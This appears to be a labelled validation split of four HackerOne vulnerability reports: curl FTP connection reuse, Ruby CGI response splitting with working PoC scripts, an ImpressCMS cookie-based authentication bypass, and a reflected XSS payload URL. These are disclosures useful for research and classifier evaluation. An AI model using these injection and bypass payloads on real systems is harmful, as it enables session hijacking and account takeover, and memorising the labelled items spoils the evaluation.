+{"id": "72914b7d3e3a005f9d44", "text": "[Business Logic Errors] CVE-2023-27535: FTP too eager connection reuse\n\nlibcurl would reuse a previously created FTP connection even when one or more options had been changed that could have made the effective user a very different one, thus leading to the doing the second transfer with wrong credentials.\n\nlibcurl keeps previously used connections in a connection pool for subsequent transfers to reuse if one of them matches the setup. However, several FTP settings were left out from the configuration match checks, making them match too easily. The settings in questions are CURLOPT_FTP_ACCOUNT, CURLOPT_FTP_ALTERNATIVE_TO_USER, CURLOPT_FTP_SSL_CCC and CURLOPT_USE_SSL level.\n\n## Hackerone report\n#1892780\n\n## Impact\n\nAccessing content with wrong cached credentials.", "source": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "4d315d3534d6f12f4722", "text": "[HTTP Response Splitting] RubyのCGIライブラリにHTTPレスポンス分割（HTTPヘッダインジェクション）があり、秘密情報が漏洩する\n\nPoC1:\n```\n#!/usr/bin/env ruby\nrequire 'cgi'\ncgi = CGI.new\nurl = \"http://example.jp\\r\\nSet-Cookie: foo=bar;\"     # External Parameter\nprint cgi.header({'status' => '302 Found', 'Location' => url})\n```\n\nActual Result1:\n```\n$ curl -s -i http://localhost:8080/cgi-bin/cgi.ru\nHTTP/1.1 302 Found\nDate: Fri, 21 May 2021 00:46:33 GMT\nServer: Apache/2.2.31 (Unix)\nSet-Cookie: foo=bar;\nLocation: http://example.jp\nContent-Length: 0\nContent-Type: text/html\n\n```\n\nこのケースでは不正なクッキーが注入される。\n\n\nPoC2:\n```\n#!/usr/bin/env ruby\nrequire 'cgi'\ncgi = CGI.new\nurl = \"http://example.jp\\r\\nStatus: 500\\r\\n\\r\\n<script>alert(1)</script>\"  # External Parameter\nprint cgi.header({'status' => '302 Found', 'Location' => url})\n```\n\nActual Result2:\n```\n$ curl -s -i http://localhost:8080/cgi-bin/cgi.ru\nHTTP/1.1 500 Internal Server Error\nDate: Fri, 21 May 2021 00:49:44 GMT\nServer: Apache/2.2.31 (Unix)\nLocation: http://example.jp\nConnection: close\nTransfer-Encoding: chunked\nContent-Type: text/html\n\n<script>alert(1)</script>\n\n```\n\nこのケースでは500 Internal Server Errorのため、Locationヘッダは無視され、JavaScriptが実行される。\n\n## Impact\n\n意図しないHTTPレスポンスヘッダやHTTPレスポンスボディを外部から注入できます。\n単純なHTTPヘッダインジェクションでは、クッキーのインジェクションやリダイレクト等が主な影響となりますが、このケースでは、レスポンスボディが注入できるため、不正なJavaScript実行に及ぶため、影響が大きいと考えます。\n\n他の言語の場合、PHPのheader関数は \"\\r\"  \"\\n\"   \"\\r\\n\"   等をすべてエラーにするため、上記の攻撃はできません。\n\n過去のWEBrickやPumaにも類似の脆弱性がありましたが、これらは単独のキャリッジリターン \"\\r\" による攻撃しかできず、リバースプロキシとしてNginxがあれば、Nginx側にてエラーになります。したがって、現実的な危険性はほとんどないと考えます。\n\nhttps://www.ruby-lang.org/en/news/2019/10/01/http-response-splitting-in-webrick-cve-2019-16254/\nhttps://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v\n\n一方、今回報告した問題は、CGIの仕様上ウェブサーバーやリバースプロキシ側でエラーにすることはできないため、影響が現実的です。", "source": "hackerone", "timestamp": "2022-11-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "58ec98b1caa634605cf9", "text": "[Unknown] Potential Authentication Bypass through \"autologin\" feature\n\n## Summary:\nThe vulnerability is located in the `/plugins/preloads/autologin.php` script:\n\n```\n45.\t\t\t$uname = $myts->stripSlashesGPC($autologinName);\n46.\t\t\t$pass = $myts->stripSlashesGPC($autologinPass);\n47.\t\t\tif (empty($uname) || is_numeric($pass)) {\n48.\t\t\t\t$user = false ;\n49.\t\t\t} else {\n50.\t\t\t\t// V3\n51.\t\t\t\t$uname4sql = addslashes($uname);\n52.\t\t\t\t$criteria = new icms_db_criteria_Compo(new icms_db_criteria_Item('login_name', $uname4sql));\n53.\t\t\t\t$user_handler = icms::handler('icms_member_user');\n54.\t\t\t\t$users = $user_handler->getObjects($criteria, false);\n55.\t\t\t\tif (empty($users) || count($users) != 1) {\n56.\t\t\t\t\t$user = false ;\n57.\t\t\t\t} else {\n58.\t\t\t\t\t// V3.1 begin\n59.\t\t\t\t\t$user = $users[0] ;\n60.\t\t\t\t\t$old_limit = time() - (defined('ICMS_AUTOLOGIN_LIFETIME') ? ICMS_AUTOLOGIN_LIFETIME : 604800);\n61.\t\t\t\t\tlist($old_Ynj, $old_encpass) = explode(':', $pass);\n62.\t\t\t\t\tif (strtotime($old_Ynj) < $old_limit || md5($user->getVar('pass') .\n63.\t\t\t\t\t\t\tICMS_DB_PASS . ICMS_DB_PREFIX . $old_Ynj) != $old_encpass)\n64.\t\t\t\t\t{\n65.\t\t\t\t\t\t$user = false;\n66.\t\t\t\t\t}\n```\n\nUser input passed through the \"autologin_uname\" and \"autologin_pass\" cookie values is being used at lines 51-54 to fetch an user object from the database, and then at lines 62-63 to check the correctness of the user's password. The vulnerability exists because of an unsafe way of comparing those parameters, due to comparison operator `!=` is being used instead of `!==` within the “if” statement at lines 62-63. The latter operator returns “true” only if the compared values are equal and the same type, while the first compare the values after “[type juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling)”. This might be exploited to bypass the authentication mechanism and login as any user without the knowledge of the relative password.\n\n## ImpressCMS branch :\nThe vulnerability has been spotted on ImpressCMS version 1.4.2 (the latest at the time of writing).\n\n## Steps To Reproduce:\nUse the attached Proof of Concept (PoC) script to reproduce this vulnerability. It's a PHP script supposed to be used from the command-line (CLI). You should see an output like the following:\n```\n$ php auth-bypass.php http://localhost/impresscms/ admin\n[-] Starting authentication bypass attack...\n[-] 2021-01-20 022141\n[-] You can autologin with the following cookies:\n[-] Cookie: autologin_uname=admin; autologin_pass=2021-01-20 022141:0\n```\n\n**NOTE**: the script will try to send multiple requests with incremental dates within the `autologin_pass` cookie (that will be the value of the `$old_Ynj` variable), and this will generate a different MD5 hash for each request, until something like `0e174892301580325162390102935332` will be returned by the `md5()` function. For this reason, the exploitation likelihood is very low, and the script execution might take days, months, or a theoretically infinite time.\n\n## Impact\n\nThis vulnerability could potentially be exploited to bypass the authentication mechanism and login without valid credentials.", "source": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "cd70c883d1d50daf71de", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS on █████████\n\n**Description:**\nthe `WhatSubmitted` parameter not filtered, i can insert `\"` character and execute code JS\n\n## Impact\n\nPerform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Open URL: [https://██████/SA1/SAReplay/default.asp?WhatSubmitted=Empty%22;-alert(%27tmz900%27)//&AgentID=0123&SARA=0&StartAt=07/06/22&StopAt=03/23/08](https://████████/SA1/SAReplay/default.asp?WhatSubmitted=Empty%22;-alert(%27tmz900%27)//&AgentID=0123&SARA=0&StartAt=07/06/22&StopAt=03/23/08)\n2. You will see an alert box pup up:\n\n██████████\n\n## Suggested Mitigation/Remediation Actions\nFilter input on arrival\nEncode data on output\nUse appropriate response headers\nContent Security Policy.", "source": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}